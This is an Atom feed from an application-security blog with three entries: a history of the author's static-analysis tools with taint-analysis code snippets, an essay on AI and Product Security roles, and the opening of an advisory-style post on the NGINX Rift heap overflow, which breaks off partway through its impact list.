<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://armoredcode.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://armoredcode.com/" rel="alternate" type="text/html" /><updated>2026-09-02T21:05:25+00:00</updated><id>https://armoredcode.com/feed.xml</id><title type="html">Armored Code</title><subtitle>Independent research on application security, vulnerability research, secure software engineering, and open-source security tooling by Paolo Perego.
</subtitle><author><name>Paolo Perego</name><email>paolo@armoredcode.com</email></author><entry><title type="html">I Was Never Trying to Build Just Another SAST</title><link href="https://armoredcode.com/blog/i-was-never-trying-to-build-just-another-sast/" rel="alternate" type="text/html" title="I Was Never Trying to Build Just Another SAST" /><published>2026-09-02T07:00:00+00:00</published><updated>2026-09-02T07:00:00+00:00</updated><id>https://armoredcode.com/blog/i-was-never-trying-to-build-just-another-sast</id><content type="html" xml:base="https://armoredcode.com/blog/i-was-never-trying-to-build-just-another-sast/"><![CDATA[<p>In 2006 I started a project called OWASP Orizon because I wanted something that could help me review other people’s source code for security issues. Looking at it from today’s perspective, calling it a static analyzer is perfectly reasonable, and that is how I described the project many times myself. The archived repository still tells the story quite plainly: Orizon was born because I wanted a tool that could parse Java source code, build an Abstract Syntax Tree and use that representation to look for unsafe behaviour. <a href="https://github.com/thesp0nge/owasp-orizon">OWASP Orizon on GitHub</a></p>

<p>What strikes me now, almost twenty years later, is that vulnerability detection itself was never the part of the problem that interested me most. Identifying the use of a dangerous API can be useful, but even in the early versions of Orizon I was already moving toward a different problem: building enough of a representation of the program that security analysis could operate on something richer than text.</p>

<p>That distinction explains a surprising amount of my open-source work since then.</p>

<h2 id="orizon-was-already-trying-to-model-the-program">Orizon was already trying to model the program</h2>

<p>The architecture grew considerably during the first years of Orizon. By 2008, language-specific translators were expected to parse the source and expose different views of the application to the rest of the engine. The old architecture contained interfaces like these:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">abstract</span> <span class="kt">boolean</span> <span class="nf">callGraphService</span><span class="o">(</span><span class="nc">String</span> <span class="n">in</span><span class="o">,</span> <span class="nc">String</span> <span class="n">out</span><span class="o">);</span>
<span class="kd">public</span> <span class="kd">abstract</span> <span class="kt">boolean</span> <span class="nf">dataFlowService</span><span class="o">(</span><span class="nc">String</span> <span class="n">in</span><span class="o">,</span> <span class="nc">String</span> <span class="n">out</span><span class="o">);</span>
<span class="kd">public</span> <span class="kd">abstract</span> <span class="kt">boolean</span> <span class="nf">controlFlowService</span><span class="o">(</span><span class="nc">String</span> <span class="n">in</span><span class="o">,</span> <span class="nc">String</span> <span class="n">out</span><span class="o">);</span>
<span class="kd">public</span> <span class="kd">abstract</span> <span class="kt">boolean</span> <span class="nf">designService</span><span class="o">(</span><span class="nc">String</span> <span class="n">in</span><span class="o">,</span> <span class="nc">String</span> <span class="n">out</span><span class="o">);</span>
</code></pre></div></div>

<p>The implementation is obviously a product of its time. XML was used extensively as an intermediate representation, Java compiler APIs provided the AST and the abstractions I would choose today would be very different. The interesting part is not the API design, though. It is the separation that the API was trying to establish.</p>

<p>Parsing the language and describing the program were one problem; applying security reasoning to that representation was another.</p>

<p>The 2008 Orizon architecture described a complete static review as a combination of local control-flow analysis, global call-graph analysis, taint propagation and statistics. It also explicitly described building ASTs before generating representations for variable tracking, control flow and the global call graph. That was a rather ambitious design for a spare-time open-source project, perhaps more ambitious than I understood at the time, but the underlying idea has aged better than much of the implementation.</p>

<p><a href="https://doczz.net/doc/8076557/the-owasp-orizon-framework-architecture">The OWASP Orizon Framework architecture</a></p>

<p>By 2010 I had isolated the modeling problem even further. Mirage had become the part of Orizon I cared about most, and in a short project update I wrote something that I had completely forgotten until recently:</p>

<blockquote>
  <p>“Without a good modeling engine a static analysis tool doesn’t make sense.”</p>
</blockquote>

<p><a href="https://owasporizon.wordpress.com/2010/03/16/modeling-toughts-before-the-change/">Modeling thoughts before the change</a></p>

<p>That statement matters to me today because it makes the continuity difficult to dismiss as hindsight. I was explicitly treating source-code modeling as the prerequisite for useful security analysis sixteen years ago.</p>

<p>A few months later I was considering rewriting Mirage around ANTLR and separating it from Orizon altogether. The reasoning was that a multi-language application modeler could be useful independently from security analysis. I wrote that when a reliable source code modeler existed, implementing a security scanning engine over it would become a comparatively affordable task.</p>

<p><a href="https://owasporizon.wordpress.com/2010/07/01/getting-ready-for-a-radical-change/">Getting ready for a radical change</a></p>

<p>I would phrase that differently today. Security analysis does not magically become easy once parsing and modeling are solved, because the model itself depends heavily on the security questions you want to answer. Nevertheless, the architectural instinct was already there: the interesting layer was not the collection of vulnerability signatures, but the representation that allowed the engine to reason about them.</p>

<h2 id="dawnscanner-deliberately-chose-a-different-trade-off">Dawnscanner deliberately chose a different trade-off</h2>

<p>A few years later, Dawnscanner went in a much more pragmatic direction. Instead of trying to solve general source-code modeling, I concentrated on Ruby applications, the frameworks developers were actually using and a security knowledge base that could be continuously extended.</p>

<p>The README still describes that very concrete scope: detect the Ruby and framework environment, apply checks appropriate to Rails, Sinatra or Padrino, inspect dependencies and gradually improve the analysis of application code itself.</p>

<p><a href="https://github.com/thesp0nge/dawnscanner/blob/main/README.md">Dawnscanner README</a></p>

<p>The engine reflects the same philosophy. Once the knowledge base has been loaded, its core job is deliberately straightforward:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="vi">@checks</span><span class="p">.</span><span class="nf">each</span> <span class="k">do</span> <span class="o">|</span><span class="n">check</span><span class="o">|</span>
  <span class="k">if</span> <span class="n">checks_to_be_skipped</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="n">check</span><span class="p">.</span><span class="nf">name</span><span class="p">)</span>
    <span class="vg">$logger</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="s2">"skipping security check </span><span class="si">#{</span><span class="n">check</span><span class="p">.</span><span class="nf">name</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
  <span class="k">else</span>
    <span class="n">_do_apply</span><span class="p">(</span><span class="n">check</span><span class="p">)</span>
  <span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>

<p><a href="https://github.com/thesp0nge/dawnscanner/blob/main/lib/dawn/engine.rb">Dawnscanner engine.rb</a></p>

<p>There is something important in that simplicity. Dawnscanner taught me a lesson that the more architectural Orizon never really could: developers do not adopt an architecture, they adopt a tool that does something useful for them.</p>

<p>The knowledge base had to be maintainable. Checks needed to represent real vulnerabilities. Installation mattered, reporting mattered, false positives mattered, and integration with the way Ruby applications were actually built mattered. Over time Dawn accumulated hundreds of security checks and became a real tool rather than an experiment in program analysis.</p>

<p>In 2016, when I briefly returned to Orizon, I actually described that connection myself. I wrote that after successfully starting a similar tool for Ruby, Dawnscanner, I wanted to bring Orizon back to the community. What I did not appreciate at the time was that the two projects had taught me almost opposite lessons about the same field.</p>

<p><a href="https://owasporizon.wordpress.com/2016/09/01/this-is-a-story-of-an-endless-love/">This is a story of an endless love — 2016</a></p>

<p>Orizon made me care about the model underneath the analysis. Dawnscanner made me care about whether the resulting tool was actually useful to the person reviewing the software.</p>

<p>For years I treated those as separate chapters.</p>

<h2 id="drsource-is-bringing-the-two-problems-back-together">DRSource is bringing the two problems back together</h2>

<p>DRSource currently describes itself as an extensible, multi-language SAST tool. That is an accurate description of what the repository contains today: regex-based rules coexist with AST-based analysis, there is a configurable knowledge base, and Java, Python and JavaScript/TypeScript analyzers implement increasingly sophisticated forms of data-flow tracking.</p>

<p><a href="https://github.com/thesp0nge/dr_source/blob/main/README.md">DRSource README</a></p>

<p>What interests me about the project, however, is increasingly the machinery underneath those features.</p>

<p>One of the small but important pieces is a project-wide index used by the taint analyzers:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">dataclass</span>
<span class="k">class</span> <span class="nc">FunctionDefinition</span><span class="p">:</span>
    <span class="n">name</span><span class="p">:</span> <span class="nb">str</span>
    <span class="n">file_path</span><span class="p">:</span> <span class="nb">str</span>
    <span class="n">node</span><span class="p">:</span> <span class="n">Any</span>
    <span class="n">language</span><span class="p">:</span> <span class="nb">str</span>


<span class="k">class</span> <span class="nc">ProjectIndex</span><span class="p">:</span>
    <span class="s">"""
    A global index of all functions and classes discovered across the project.
    Used for inter-file taint analysis.
    """</span>

    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">functions</span><span class="p">:</span> <span class="n">Dict</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="n">FunctionDefinition</span><span class="p">]</span> <span class="o">=</span> <span class="p">{}</span>

    <span class="k">def</span> <span class="nf">find_function</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Optional</span><span class="p">[</span><span class="n">FunctionDefinition</span><span class="p">]:</span>
        <span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">functions</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
</code></pre></div></div>

<p><a href="https://github.com/thesp0nge/dr_source/blob/main/dr_source/core/project_index.py">DRSource ProjectIndex</a></p>

<p>There is nothing particularly sophisticated about that class yet, and that qualification is important. Proper cross-file analysis eventually requires much stronger symbol resolution, namespaces, classes, overload handling and a much richer understanding of call relationships than a dictionary keyed by a function name can provide.</p>

<p>Conceptually, though, this is where the project begins to become interesting to me.</p>

<p>When the Java analyzer encounters a call that it cannot resolve locally, it can ask the project index for a definition elsewhere in the codebase and continue the analysis inside that function:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">func_def</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">functions</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">method_name</span><span class="p">)</span>

<span class="k">if</span> <span class="ow">not</span> <span class="n">func_def</span> <span class="ow">and</span> <span class="bp">self</span><span class="p">.</span><span class="n">project_index</span> <span class="ow">and</span> <span class="bp">self</span><span class="p">.</span><span class="n">depth</span> <span class="o">&lt;</span> <span class="bp">self</span><span class="p">.</span><span class="n">max_depth</span><span class="p">:</span>
    <span class="n">global_def</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">project_index</span><span class="p">.</span><span class="n">find_function</span><span class="p">(</span><span class="n">method_name</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">global_def</span> <span class="ow">and</span> <span class="n">global_def</span><span class="p">.</span><span class="n">language</span> <span class="o">==</span> <span class="s">"java"</span><span class="p">:</span>
        <span class="n">func_def</span> <span class="o">=</span> <span class="n">global_def</span><span class="p">.</span><span class="n">node</span><span class="p">[</span><span class="s">"node"</span><span class="p">]</span>
        <span class="n">target_file</span> <span class="o">=</span> <span class="n">global_def</span><span class="p">.</span><span class="n">file_path</span>
        <span class="n">target_code</span> <span class="o">=</span> <span class="n">global_def</span><span class="p">.</span><span class="n">node</span><span class="p">[</span><span class="s">"code"</span><span class="p">]</span>

        <span class="bp">self</span><span class="p">.</span><span class="n">_simulate_call</span><span class="p">(</span>
            <span class="n">node</span><span class="p">,</span>
            <span class="n">func_def</span><span class="p">,</span>
            <span class="n">method_name</span><span class="p">,</span>
            <span class="n">target_file</span><span class="p">,</span>
            <span class="n">target_code</span><span class="p">,</span>
        <span class="p">)</span>
</code></pre></div></div>

<p>The simulated call can then map tainted arguments to parameters in the called function and continue walking its body:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="n">taint</span><span class="p">:</span>
    <span class="n">loc</span> <span class="o">=</span> <span class="p">(</span>
        <span class="sa">f</span><span class="s">"in </span><span class="si">{</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">basename</span><span class="p">(</span><span class="n">target_file</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
        <span class="k">if</span> <span class="n">target_file</span>
        <span class="k">else</span> <span class="s">"locally"</span>
    <span class="p">)</span>

    <span class="n">tainted_params</span><span class="p">[</span><span class="n">p_name</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"source"</span><span class="p">:</span> <span class="n">taint</span><span class="p">[</span><span class="s">"source"</span><span class="p">],</span>
        <span class="s">"trace"</span><span class="p">:</span> <span class="n">taint</span><span class="p">[</span><span class="s">"trace"</span><span class="p">]</span> <span class="o">+</span> <span class="p">[</span>
            <span class="sa">f</span><span class="s">"Passed to </span><span class="si">{</span><span class="n">method_name</span><span class="si">}</span><span class="s">() </span><span class="si">{</span><span class="n">loc</span><span class="si">}</span><span class="s">"</span>
        <span class="p">],</span>
    <span class="p">}</span>

<span class="p">...</span>

<span class="k">if</span> <span class="n">tainted_params</span><span class="p">:</span>
    <span class="n">body</span> <span class="o">=</span> <span class="n">func_node</span><span class="p">.</span><span class="n">child_by_field_name</span><span class="p">(</span><span class="s">"body"</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">body</span><span class="p">:</span>
        <span class="n">v</span> <span class="o">=</span> <span class="n">TaintVisitor</span><span class="p">(</span>
            <span class="nb">list</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">sources</span><span class="p">),</span>
            <span class="p">[{</span><span class="s">"name"</span><span class="p">:</span> <span class="n">n</span><span class="p">,</span> <span class="s">"args"</span><span class="p">:</span> <span class="n">a</span><span class="p">}</span> <span class="k">for</span> <span class="n">n</span><span class="p">,</span> <span class="n">a</span> <span class="ow">in</span> <span class="bp">self</span><span class="p">.</span><span class="n">sinks</span><span class="p">.</span><span class="n">items</span><span class="p">()],</span>
            <span class="nb">list</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">sanitizers</span><span class="p">),</span>
            <span class="n">t_code</span><span class="p">,</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">project_index</span><span class="p">,</span>
            <span class="bp">self</span><span class="p">.</span><span class="n">depth</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span>
            <span class="n">initial_scope</span><span class="o">=</span><span class="n">tainted_params</span><span class="p">,</span>
        <span class="p">)</span>

        <span class="n">v</span><span class="p">.</span><span class="n">visit</span><span class="p">(</span><span class="n">body</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">vulnerabilities</span><span class="p">.</span><span class="n">extend</span><span class="p">(</span><span class="n">v</span><span class="p">.</span><span class="n">vulnerabilities</span><span class="p">)</span>
</code></pre></div></div>

<p><a href="https://github.com/thesp0nge/dr_source/blob/main/dr_source/plugins/java/taint_visitor.py">DRSource Java taint visitor</a></p>

<p>This is still an early implementation, but the direction is much closer to the problem that originally interested me in Orizon than to simply adding another vulnerability signature. DRSource already tracks tainted values across files, distinguishes object fields, propagates constants, recognises sanitizers and incorporates framework-specific knowledge about sources and sinks.</p>

<p>Those capabilities are useful individually, but I see them primarily as pieces of a program model.</p>

<h2 id="detecting-a-dangerous-api-is-not-enough">Detecting a dangerous API is not enough</h2>

<p>Consider SQL injection. Finding a call to a database execution API is straightforward, but during a real security review that is rarely the question I am trying to answer.</p>

<p>I need to establish whether attacker-controlled data can reach that call.</p>

<p>That means finding the input boundary and following the value through the application. It may enter through an HTTP request, become an argument to a controller method, be copied into an object, pass into a service, cross another file boundary and eventually be combined into a query inside a repository class. Along the way I need to know whether the value was replaced by a constant, constrained by a type conversion, processed by a sanitizer or otherwise transformed in a way that changes the security conclusion.</p>

<p>A human code reviewer reconstructs that context continuously. We jump between definitions, follow variables and fields, recognise framework conventions and keep a partial model of the execution path in our head while deciding which branches deserve more attention.</p>

<p>This is why I increasingly find the traditional concept of a SAST “finding” too small.</p>

<p>The fact that a dangerous function appears at a particular line is evidence, but it is not the analysis. The useful object is the path that connects a security-relevant input to that operation and explains what happened in between.</p>

<p>For DRSource, that distinction has consequences for the architecture. If the useful output is a path rather than a match, then symbol resolution matters more. Calls and returns matter more. Field tracking matters more. Framework semantics matter more. Sanitizers and barriers become part of the evidence rather than exceptions sprinkled into individual rules.</p>

<p>The tool needs to know enough about the program to reconstruct that path with a level of confidence that makes the result useful to somebody who understands the code.</p>

<p>That is what I mean by code understanding.</p>

<h2 id="understanding-code-does-not-require-pretending-the-machine-is-human">“Understanding code” does not require pretending the machine is human</h2>

<p>The expression deserves some precision because “understanding code” has become rather overloaded, particularly now that almost every developer tool is being connected to a language model.</p>

<p>I am not claiming that DRSource understands a program in the human sense, nor do I think that placing an LLM in front of a repository removes the need for program analysis.</p>

<p>For the security problems I care about, understanding means constructing an explicit model that preserves the relationships required to answer a question. Depending on the analysis, that model might need symbols, scopes, calls, arguments, return values, object fields, sources, sinks, sanitizers, control-flow information and framework semantics.</p>

<p>It will always be incomplete. Static analysis has always involved approximating program behaviour without executing every possible path through the program.</p>

<p>The useful engineering question is therefore not whether the analyzer can completely understand the software. It is whether its representation is precise enough to answer a particular security question while introducing an acceptable amount of noise.</p>

<p>That is a much more interesting problem to me than counting the number of vulnerability classes supported by the scanner.</p>

<h2 id="twenty-years-did-not-make-this-a-twenty-year-project">Twenty years did not make this a twenty-year project</h2>

<p>Looking backwards creates a dangerous temptation to turn a sequence of experiments into a carefully planned journey. That is not what happened here.</p>

<p>There was no twenty-year roadmap.</p>

<p>Orizon changed direction several times and eventually stopped. Dawnscanner was built with very different priorities. My day jobs changed, my interests moved through other areas of security and software engineering, and there were long periods when static analysis was not the project occupying my spare time.</p>

<p>I even wrote about this lack of linearity at the time. In 2010 I admitted that maintaining a detailed roadmap for a spare-time open-source project was largely pointless because professional work, family and other projects inevitably competed for the same time.</p>

<p><a href="https://owasporizon.wordpress.com/2010/07/01/getting-ready-for-a-radical-change/">Getting ready for a radical change</a></p>

<p>The continuity is therefore not in the repositories.</p>

<p>It is in the problem.</p>

<p>In 2006, Orizon started by parsing source code into a representation that a security engine could consume. By 2010, I was explicitly treating the source-code modeler as the prerequisite for the analyzer I wanted to build.</p>

<p>Dawnscanner then taught me to narrow the scope, encode useful security knowledge and build something that developers could actually run.</p>

<p>Today DRSource is putting those two experiences in the same place. The project is still young and its program model is nowhere near as complete as I want it to become, but I now have a much clearer idea of what I want to optimize for.</p>

<p>I do not want DRSource to become interesting because it reports more findings than another scanner. I want it to become interesting because it can explain increasingly non-trivial security paths through real applications, and because the explanation contains enough evidence for a reviewer to decide whether the path matters.</p>

<p>Reading my own notes from 2010 made me realise that this is not a new obsession.</p>

<p>I have apparently been trying to build some version of this engine since 2006. The difference is that twenty years of writing scanners, reviewing code and watching developers deal with security tooling have made the target considerably clearer.</p>

<p>The hard problem was never spotting the dangerous function.</p>

<p>It was building enough of the program around it to understand why it was dangerous.</p>]]></content><author><name>Paolo Perego</name></author><category term="application-security" /><category term="static-analysis" /><category term="code-review" /><category term="open-source" /><category term="software-engineering" /><category term="vulnerability-research" /><summary type="html"><![CDATA[OWASP Orizon started in 2006 with ASTs, program models, call graphs and data flow. Dawnscanner took a more pragmatic path. Twenty years later, DRSource is bringing me back to the same question: how much of a program must an analysis engine understand to become genuinely useful to a security reviewer?]]></summary></entry><entry><title type="html">Is Your Product Security Engineer Going to Be Replaced?</title><link href="https://armoredcode.com/blog/is-your-product-security-engineer-going-to-be-replaced/" rel="alternate" type="text/html" title="Is Your Product Security Engineer Going to Be Replaced?" /><published>2026-08-27T22:00:00+00:00</published><updated>2026-08-27T22:00:00+00:00</updated><id>https://armoredcode.com/blog/is-your-product-security-engineer-going-to-be-replaced</id><content type="html" xml:base="https://armoredcode.com/blog/is-your-product-security-engineer-going-to-be-replaced/"><![CDATA[<p>There is a recurring question every time a new wave of AI tooling appears: <strong>will AI replace software engineers?</strong> Soon after comes another one: <strong>will AI replace security engineers?</strong></p>

<p>For Product Security, I think the answer is more interesting than a simple yes or no. AI probably will not eliminate Product Security, but it will automate a significant portion of what many Product Security engineers do today. And that distinction matters.</p>

<h2 id="ai-is-creating-more-software-not-less">AI Is Creating More Software, Not Less</h2>

<p>One of the strange assumptions behind the “AI will replace security engineers” argument is that AI will somehow reduce the amount of software we need to secure. I believe the opposite is happening.</p>

<p>AI makes software cheaper and faster to produce. Developers can generate prototypes in hours, teams can create internal tools that would previously never have justified the engineering cost, and AI agents can write integrations, infrastructure definitions, configuration files, scripts, tests, and entire application components.</p>

<p>Which means one thing: <strong>more software</strong>.</p>

<p>And more software means:</p>

<p><strong>more code → more dependencies → more APIs → more configurations → more attack surface.</strong></p>

<p>The amount of code requiring security scrutiny is unlikely to decrease. It may explode. The difference is that security teams will no longer be able to review that code using the same processes they used before.</p>

<h2 id="ai-introduces-a-new-attack-surface">AI Introduces a New Attack Surface</h2>

<p>AI does not just increase the volume of traditional software. It introduces entirely new security boundaries.</p>

<p>We now have to think about things such as prompt injection, agent authorization, agent identity, excessive agency, tool abuse, confused deputy problems, secrets exposure, AI supply-chain security, model and data poisoning, MCP security, sandboxing, privilege boundaries, provenance, and generated-code vulnerabilities.</p>

<p>Many of these are not entirely new security concepts. Authorization is not new. Privilege separation is not new. Confused deputy attacks are certainly not new. Supply-chain security is not new either.</p>

<p>What is new is the way AI systems recombine these problems in architectures where software can <strong>reason, select tools, access resources, and perform actions on behalf of users</strong>.</p>

<p>An LLM that only generates text has a limited blast radius. An agent that can read your repository, access Jira, query production systems, call internal APIs, retrieve secrets, and execute tools is a completely different security problem.</p>

<p>At that point, we are no longer discussing only model security. We are discussing <strong>system security</strong>.</p>

<p>And system security is exactly where Product Security should live.</p>

<h2 id="the-vulnerable-product-security-engineer">The Vulnerable Product Security Engineer</h2>

<p>There is, however, one kind of Product Security work that AI is extremely well positioned to automate:</p>

<p><strong>scanner → finding → Jira ticket</strong></p>

<p>If most of your job consists of running security tools, reading their output, performing basic classification, and opening tickets for developers, AI is coming directly for that workflow.</p>

<p>And perhaps it should.</p>

<p>A modern security pipeline can already run SAST, SCA, secret scanning, and IaC analysis; correlate findings from multiple scanners; remove duplicates; retrieve the surrounding source code; estimate whether vulnerable code is reachable; explain the issue; suggest a remediation; generate a candidate patch; generate tests for that patch; create the ticket; and assign it to the likely owner.</p>

<p>The human value in moving information from a scanner into Jira is rapidly approaching zero.</p>

<p>Adding an LLM to a bad vulnerability-management process does not magically create good Product Security. It just creates Jira tickets faster.</p>

<h2 id="finding-vulnerabilities-is-becoming-cheap">Finding Vulnerabilities Is Becoming Cheap</h2>

<p>Historically, finding vulnerabilities required significant expertise, and that expertise created scarcity. Security engineers knew specialized tools, attack techniques, vulnerability patterns, and obscure implementation details that most developers did not.</p>

<p>AI is reducing that scarcity.</p>

<p>It can explain vulnerabilities, generate attack hypotheses, analyze source code, suggest payloads, identify suspicious data flows, and correlate enormous amounts of information much faster than a human reviewer.</p>

<p>So the economic value of simply <strong>finding something suspicious</strong> will probably decrease.</p>

<p>But finding a vulnerability was never the highest form of Product Security anyway.</p>

<p>The real value is understanding whether it matters, whether it can actually be exploited, what an attacker can control, what the blast radius is, which trust boundary has been crossed, what architectural decision created the problem, what the safest fix is, and how to prevent the same vulnerability class from appearing fifty more times.</p>

<p>That is where Product Security becomes engineering.</p>

<h2 id="the-product-security-engineer-i-would-bet-on">The Product Security Engineer I Would Bet On</h2>

<p>Now consider a different workflow:</p>

<p><strong>threat model → architectural review → exploitability analysis → mitigation design → patch → guardrail/tooling</strong></p>

<p>This is a very different job.</p>

<p>The important question is no longer:</p>

<blockquote>
  <p>Is this line of code vulnerable?</p>
</blockquote>

<p>It becomes:</p>

<blockquote>
  <p>Should this system have been designed this way in the first place?</p>
</blockquote>

<p>That requires understanding architecture, trust boundaries, component interactions, attacker-controlled inputs, operational constraints, performance, usability, backwards compatibility, and engineering cost.</p>

<p>And sometimes the answer is not a vulnerability ticket. Sometimes the answer is to change the architecture, reduce the privilege of a component, remove access to a tool, enforce a separate authorization decision, prevent data from crossing a trust boundary, or build a guardrail so that an entire class of vulnerabilities becomes difficult to introduce again.</p>

<p>That is a very different kind of Product Security engineering.</p>

<p>And it is much harder to reduce to a scanner pipeline.</p>

<h2 id="product-security-engineers-should-write-code">Product Security Engineers Should Write Code</h2>

<p>There is another consequence: the Product Security engineer of the AI era should probably be <strong>more technical, not less</strong>.</p>

<p>Security teams will increasingly need people capable of transforming security knowledge into engineering leverage. That means writing security libraries, secure defaults, policy-as-code, CI/CD guardrails, static-analysis rules, automated code-review tooling, security tests, sandboxing mechanisms, authorization frameworks, and developer tooling.</p>

<p>Instead of manually finding the same vulnerability one hundred times, encode the knowledge that detects or prevents it.</p>

<p>If you discover a dangerous pattern during a code review, do not stop at opening a ticket. Ask whether you can make the pattern impossible, detectable, or at least expensive to reintroduce.</p>

<p>That is how Product Security scales.</p>

<p>And AI makes this approach even more powerful because security engineers themselves can use AI to build these tools faster.</p>

<h2 id="from-vulnerability-finder-to-security-multiplier">From Vulnerability Finder to Security Multiplier</h2>

<p>This is probably the transformation that matters most.</p>

<p>The old model of Product Security often treated the security engineer as a specialist sitting downstream of development: engineering builds, security reviews, security finds problems, engineering fixes them, and the cycle repeats.</p>

<p>That model does not scale particularly well today. It will scale even worse when AI dramatically increases software output.</p>

<p>The Product Security engineer of the future needs to become a <strong>security multiplier</strong>: someone who can take one security insight and turn it into a system-level improvement.</p>

<p>Find one vulnerability. Understand the underlying pattern. Fix the vulnerable implementation. Build the test. Create the static-analysis rule. Improve the framework. Change the secure default. Update the threat model. Create a guardrail.</p>

<p>Now the lesson from one vulnerability protects hundreds of future code paths.</p>

<p>That is leverage.</p>

<p>And leverage is precisely what security teams will need when the amount of generated software increases.</p>

<h2 id="ai-does-not-remove-the-security-engineer">AI Does Not Remove the Security Engineer</h2>

<p>It changes where the valuable work happens.</p>

<p>The security engineer who manually performs tasks that can be expressed as:</p>

<p><strong>input → deterministic analysis → classification → ticket</strong></p>

<p>should probably be worried.</p>

<p>The security engineer who operates at the intersection of:</p>

<p><strong>software architecture + attacker thinking + secure design + exploitability + engineering</strong></p>

<p>has a much stronger position.</p>

<p>AI will automate parts of that work too. Good.</p>

<p>Let it analyze thousands of findings, generate candidate patches, summarize dependency changes, inspect massive codebases, produce test cases, and correlate scanner output. Let it handle the repetitive parts.</p>

<p>Then use the freed capacity to work on the problems that actually require security engineering judgment.</p>

<p>Because the future of Product Security is not spending the day staring at scanner dashboards. It is helping engineering teams build systems where entire classes of vulnerabilities become harder to create.</p>

<h2 id="so-is-your-product-security-engineer-going-to-be-replaced">So, Is Your Product Security Engineer Going to Be Replaced?</h2>

<p>Maybe. But probably not for the reason people think.</p>

<p>The Product Security engineer who mainly operates a pipeline like:</p>

<p><strong>scanner → finding → Jira ticket</strong></p>

<p>is vulnerable to automation.</p>

<p>The Product Security engineer who works like this:</p>

<p><strong>threat model → architecture → exploitability → mitigation → patch → guardrail</strong></p>

<p>is not disappearing. That role is becoming more important.</p>

<p>AI does not reduce the attack surface. It expands it. It does not remove architectural complexity. It adds new trust boundaries. And it does not eliminate the need for security judgment.</p>

<p>It makes security teams responsible for protecting systems that can act, decide, retrieve, execute, and delegate at a scale we have never had before.</p>

<p>Finding vulnerabilities is becoming cheaper.</p>

<p><strong>Understanding why a system is exploitable — and redesigning it so the vulnerability class disappears — is not.</strong></p>

<p>That is the Product Security engineer I would bet on.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[AI will automate a significant part of Product Security work, but it will not eliminate the need for security engineers. The real shift is from scanner-driven vulnerability management toward architecture, exploitability, mitigation design, secure tooling, and engineering guardrails.]]></summary></entry><entry><title type="html">NGINX PoolSlip &amp;amp; NGINX Rift: When the Internet’s Favorite Reverse Proxy Turns Against Itself</title><link href="https://armoredcode.com/blog/nginx-poolslip-nginx-rift-reverse-proxy-rce/" rel="alternate" type="text/html" title="NGINX PoolSlip &amp;amp; NGINX Rift: When the Internet’s Favorite Reverse Proxy Turns Against Itself" /><published>2026-05-28T10:00:00+00:00</published><updated>2026-05-28T10:00:00+00:00</updated><id>https://armoredcode.com/blog/nginx-poolslip-nginx-rift-reverse-proxy-rce</id><content type="html" xml:base="https://armoredcode.com/blog/nginx-poolslip-nginx-rift-reverse-proxy-rce/"><![CDATA[<p>For nearly two decades, NGINX has been one of the silent pillars of the modern Internet.<br />
Reverse proxies, Kubernetes ingress controllers, API gateways, WAFs, CDN edges — everywhere you look, NGINX is there.</p>

<p>That is precisely why the recent disclosure of <strong>NGINX Rift</strong> and the follow-up <strong>NGINX PoolSlip</strong> vulnerabilities should worry defenders far beyond the usual patch cycle.</p>

<p>What started as a critical heap overflow buried in the rewrite engine quickly evolved into something much larger: a reminder that memory-unsafe infrastructure software can become a single point of systemic Internet risk.</p>

<hr />

<h2 id="the-first-shock-nginx-rift">The First Shock: NGINX Rift</h2>

<p>Researchers disclosed <strong>CVE-2026-42945</strong>, nicknamed <strong>NGINX Rift</strong>, a critical heap buffer overflow affecting the <code class="language-plaintext highlighter-rouge">ngx_http_rewrite_module</code>.<br />
The flaw reportedly existed in the codebase since <strong>2008</strong>.</p>

<p>Affected versions included:</p>

<ul>
  <li>NGINX Open Source <code class="language-plaintext highlighter-rouge">0.6.27 → 1.30.0</code></li>
  <li>NGINX Plus <code class="language-plaintext highlighter-rouge">R32 → R36</code></li>
</ul>

<p>The vulnerability is triggered through specific rewrite configurations involving:</p>

<ul>
  <li>unnamed PCRE capture groups (<code class="language-plaintext highlighter-rouge">$1</code>, <code class="language-plaintext highlighter-rouge">$2</code>)</li>
  <li>rewrite replacement strings containing <code class="language-plaintext highlighter-rouge">?</code></li>
  <li>chained rewrite/set directives</li>
</ul>

<p>Under the right conditions, attackers could achieve:</p>

<ul>
  <li>Worker process crashes</li>
  <li>Heap corruption</li>
